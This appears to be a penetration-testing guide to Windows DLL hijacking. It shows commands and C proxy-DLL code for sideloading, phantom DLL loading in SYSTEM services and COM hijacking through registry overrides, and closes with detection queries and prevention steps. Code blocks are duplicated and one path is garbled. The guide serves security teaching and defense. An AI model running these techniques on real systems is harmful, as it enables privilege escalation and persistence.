DLL Hijacking & Sideloading
DLL hijacking exploits the Windows DLL search order to execute malicious code by placing a crafted DLL where a legitimate application will load it. This guide covers search order hijacking, DLL sideloading (abusing signed applications), DLL proxying (forwarding exports to the real DLL), and phantom DLL loading for persistence and privilege escalation.
Warning
📚 Quick Navigation
📖 Fundamentals
🛡️ Defense
Windows DLL Search Order
When an application loads a DLL without specifying a full path, Windows searches these locations in order:
| Priority | Location | Hijack Viability |
|---|---|---|
| 1 | Known DLLs registry (preloaded system DLLs) | Not hijackable |
| 2 | Application directory | Sideloading target |
| 3 | System directory (C:\\Windows\\System32) | Requires admin |
| 4 | 16-bit system directory | Legacy, rare |
| 5 | Windows directory | Requires admin |
| 6 | Current working directory | CWD hijack |
| 7 | Directories in PATH variable | PATH hijack |
Finding Hijackable DLLs
# Process Monitor (Sysinternals) — find DLL load failures
# Filter: Operation=CreateFile, Result=NAME NOT FOUND, Path ends with .dll
# This shows DLLs the application tried to load but couldn't find
# Automated scanning tools
# DLLSpy — scan for hijackable DLLs
DLLSpy.exe /scan
# PowerSploit Find-DLLHijack
Import-Module PowerSploit
Find-DLLHijack
# Check PATH directories for write permissions
$env:PATH -split ';' | ForEach-Object {
$acl = Get-Acl $_ -ErrorAction SilentlyContinue
$writeable = $acl.Access | Where-Object {
$_.FileSystemRights -match 'Write|FullControl' -and
$_.IdentityReference -notmatch 'SYSTEM|Administrators'
}
if ($writeable) { Write-Output "WRITABLE: $_" }
}
# Check specific application directories
icacls "C:\Program Files\VulnerableApp" /T | findstr /i "Users Everyone"
# WinPEAS automated check
winpeas.exe quiet applicationsinfo# Process Monitor (Sysinternals) — find DLL load failures
# Filter: Operation=CreateFile, Result=NAME NOT FOUND, Path ends with .dll
# This shows DLLs the application tried to load but couldn't find
# Automated scanning tools
# DLLSpy — scan for hijackable DLLs
DLLSpy.exe /scan
# PowerSploit Find-DLLHijack
Import-Module PowerSploit
Find-DLLHijack
# Check PATH directories for write permissions
$env:PATH -split ';' | ForEach-Object {
$acl = Get-Acl $_ -ErrorAction SilentlyContinue
$writeable = $acl.Access | Where-Object {
$_.FileSystemRights -match 'Write|FullControl' -and
$_.IdentityReference -notmatch 'SYSTEM|Administrators'
}
if ($writeable) { Write-Output "WRITABLE: $_" }
}
# Check specific application directories
icacls "C:\Program Files\VulnerableApp" /T | findstr /i "Users Everyone"
# WinPEAS automated check
winpeas.exe quiet applicationsinfoDLL Sideloading
DLL sideloading abuses a legitimate signed application by placing a malicious DLL in the same directory. The signed app loads the malicious DLL, executing your code under the context of a trusted binary — bypassing application whitelisting and gaining the trust of EDR products.
| Signed Application | Sideloadable DLL |
|---|---|
| OneDrive.exe | version.dll |
| Teams.exe | dbghelp.dll |
| Notepad++.exe | SciLexer.dll |
| 7z.exe | 7z.dll |
# Copy signed EXE to a writable directory
copy "C:\Program Files\App\signed.exe" C:\Temp\
# Place malicious DLL with expected name alongside the EXE
copy payload.dll C:\Temp\version.dll
# Execute the signed app — it loads your DLL from its directory
C:\Temp\signed.exe# Copy signed EXE to a writable directory
copy "C:\Program Files\App\signed.exe" C:\Temp\
# Place malicious DLL with expected name alongside the EXE
copy payload.dll C:\Temp\version.dll
# Execute the signed app — it loads your DLL from its directory
C:\Temp\signed.exeDLL Proxying
DLL proxying is a stealthier variant — your malicious DLL forwards all legitimate function calls to the real DLL while also running your payload. This keeps the application functional and avoids crashes.
// Example: version.dll proxy (C/C++)
// Forwards all exports to the real version.dll while executing payload
#pragma comment(linker, "/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA")
#pragma comment(linker, "/export:GetFileVersionInfoByHandle=C:\\Windows\\System32\\version.GetFileVersionInfoByHandle")
#pragma comment(linker, "/export:GetFileVersionInfoExA=C:\\Windows\\System32\\version.GetFileVersionInfoExA")
#pragma comment(linker, "/export:GetFileVersionInfoExW=C:\\Windows\\System32\\version.GetFileVersionInfoExW")
#pragma comment(linker, "/export:GetFileVersionInfoSizeA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeA")
#pragma comment(linker, "/export:GetFileVersionInfoSizeExA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExA")
#pragma comment(linker, "/export:GetFileVersionInfoSizeExW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExW")
#pragma comment(linker, "/export:GetFileVersionInfoSizeW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeW")
#pragma comment(linker, "/export:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW")
#pragma comment(linker, "/export:VerFindFileA=C:\\Windows\\System32\\version.VerFindFileA")
#pragma comment(linker, "/export:VerFindFileW=C:\\Windows\\System32\\version.VerFindFileW")
#pragma comment(linker, "/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA")
#pragma comment(linker, "/export:VerQueryValueW=C:\\Windows\\System32\\version.VerQueryValueW")
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
// Execute payload in a separate thread to avoid loader lock
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PayloadFunction, NULL, 0, NULL);
}
return TRUE;
}// Example: version.dll proxy (C/C++)
// Forwards all exports to the real version.dll while executing payload
#pragma comment(linker, "/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA")
#pragma comment(linker, "/export:GetFileVersionInfoByHandle=C:\\Windows\\System32\\version.GetFileVersionInfoByHandle")
#pragma comment(linker, "/export:GetFileVersionInfoExA=C:\\Windows\\System32\\version.GetFileVersionInfoExA")
#pragma comment(linker, "/export:GetFileVersionInfoExW=C:\\Windows\\System32\\version.GetFileVersionInfoExW")
#pragma comment(linker, "/export:GetFileVersionInfoSizeA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeA")
#pragma comment(linker, "/export:GetFileVersionInfoSizeExA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExA")
#pragma comment(linker, "/export:GetFileVersionInfoSizeExW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExW")
#pragma comment(linker, "/export:GetFileVersionInfoSizeW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeW")
#pragma comment(linker, "/export:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW")
#pragma comment(linker, "/export:VerFindFileA=C:\\Windows\\System32\\version.VerFindFileA")
#pragma comment(linker, "/export:VerFindFileW=C:\\Windows\\System32\\version.VerFindFileW")
#pragma comment(linker, "/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA")
#pragma comment(linker, "/export:VerQueryValueW=C:\\Windows\\System32\\version.VerQueryValueW")
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
// Execute payload in a separate thread to avoid loader lock
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PayloadFunction, NULL, 0, NULL);
}
return TRUE;
}# Automated proxy DLL generation
# SharpDLLProxy — auto-generates proxy DLL source code
SharpDLLProxy.exe --dll C:\Windows\System32ersion.dll --payload shellcode.bin
# DLL-Hijack-Calculator — find and generate proxy DLLs
# Spartacus — automated DLL hijacking discovery
Spartacus.exe --mode dll-hijack --procmon-log procmon.csv# Automated proxy DLL generation
# SharpDLLProxy — auto-generates proxy DLL source code
SharpDLLProxy.exe --dll C:\Windows\System32ersion.dll --payload shellcode.bin
# DLL-Hijack-Calculator — find and generate proxy DLLs
# Spartacus — automated DLL hijacking discovery
Spartacus.exe --mode dll-hijack --procmon-log procmon.csvPhantom DLL Loading
Phantom DLLs are DLLs that Windows services or scheduled tasks attempt to load but don't exist on disk. Placing a malicious DLL at the expected path causes it to load with the privileges of the calling service — often SYSTEM.
| Phantom DLL | Service / Component | Context |
|---|---|---|
| wlbsctrl.dll | IKEEXT (VPN / IKE) | SYSTEM |
| wbemcomn.dll | WMI Service | SYSTEM |
| fveapi.dll | BitLocker | SYSTEM |
| Tsmsisrv.dll | Terminal Services | SYSTEM |
| TSVIPSrv.dll | Terminal Services | SYSTEM |
Use Process Monitor (Sysinternals) to discover additional phantom DLLs: filter for
Result = NAME NOT FOUND where path ends with .dll and the process is a system service.
# Check if IKEEXT service is running (wlbsctrl.dll phantom)
sc query IKEEXT
# If running and wlbsctrl.dll doesn't exist in System32:
copy payload.dll C:\Windows\System32\wlbsctrl.dll
net stop IKEEXT && net start IKEEXT# Check if IKEEXT service is running (wlbsctrl.dll phantom)
sc query IKEEXT
# If running and wlbsctrl.dll doesn't exist in System32:
copy payload.dll C:\Windows\System32\wlbsctrl.dll
net stop IKEEXT && net start IKEEXTDLL Hijacking for Privilege Escalation
Scenario 1 — Writable service directory: If a service's install folder is writable by the
current user, place a DLL the service loads from its own directory.
Scenario 2 — SYSTEM scheduled tasks: Scheduled tasks running as SYSTEM that load DLLs from
user-writable paths allow privilege escalation.
Scenario 3 — COM object hijacking: Override a system COM object's InprocServer32 in HKCU
(per-user, no admin needed). When any process loads that COM object, your DLL runs in their context.
# Find SYSTEM scheduled tasks with potentially writable paths
schtasks /query /fo LIST /v | findstr /i "task\|run as"
# COM hijacking — override InprocServer32 in HKCU (no admin)
reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /ve /d "C:\Temp\payload.dll" /f
reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /v ThreadingModel /d "Both" /f# Find SYSTEM scheduled tasks with potentially writable paths
schtasks /query /fo LIST /v | findstr /i "task\|run as"
# COM hijacking — override InprocServer32 in HKCU (no admin)
reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /ve /d "C:\Temp\payload.dll" /f
reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /v ThreadingModel /d "Both" /fDetection & Blue Team
| Source | Detection |
|---|---|
| Sysmon Event 7 | Image loaded — unsigned DLL loaded by signed process, or DLL loaded from unusual path |
| Sysmon Event 1 | Process creation — signed binary run from non-standard directory |
| Sysmon Event 13 | Registry modification — InprocServer32 changes for COM hijacking |
| EDR | Module load from writable user directories, hash mismatch on known DLLs |
// KQL — Detect unsigned DLL loaded by signed process
DeviceImageLoadEvents
| where InitiatingProcessFileName in ("OneDrive.exe","Teams.exe","7z.exe")
| where not(FolderPath startswith "C:\Program Files")
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, FolderPath, SHA256
// Sysmon — DLL sideloading detection (Sigma rule equivalent)
Event
| where Source == "Microsoft-Windows-Sysmon" and EventID == 7
| where ImageLoaded !startswith "C:\Windows\"
| where Signed == "false"
| project TimeGenerated, Computer, Image, ImageLoaded// KQL — Detect unsigned DLL loaded by signed process
DeviceImageLoadEvents
| where InitiatingProcessFileName in ("OneDrive.exe","Teams.exe","7z.exe")
| where not(FolderPath startswith "C:\Program Files")
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, FolderPath, SHA256
// Sysmon — DLL sideloading detection (Sigma rule equivalent)
Event
| where Source == "Microsoft-Windows-Sysmon" and EventID == 7
| where ImageLoaded !startswith "C:\Windows\"
| where Signed == "false"
| project TimeGenerated, Computer, Image, ImageLoadedPrevention
Enable SafeDllSearchMode
Ensure SafeDllSearchMode is enabled (default) — moves CWD last in search order.
Restrict PATH Directories
Audit PATH directories for write permissions — no user-writable directories should be in system PATH.
Application Whitelisting
WDAC (Windows Defender Application Control) with DLL enforcement blocks unsigned DLL loading.
Sysmon Monitoring
Deploy Sysmon with Event 7 (ImageLoaded) rules to detect DLL loads from unexpected paths.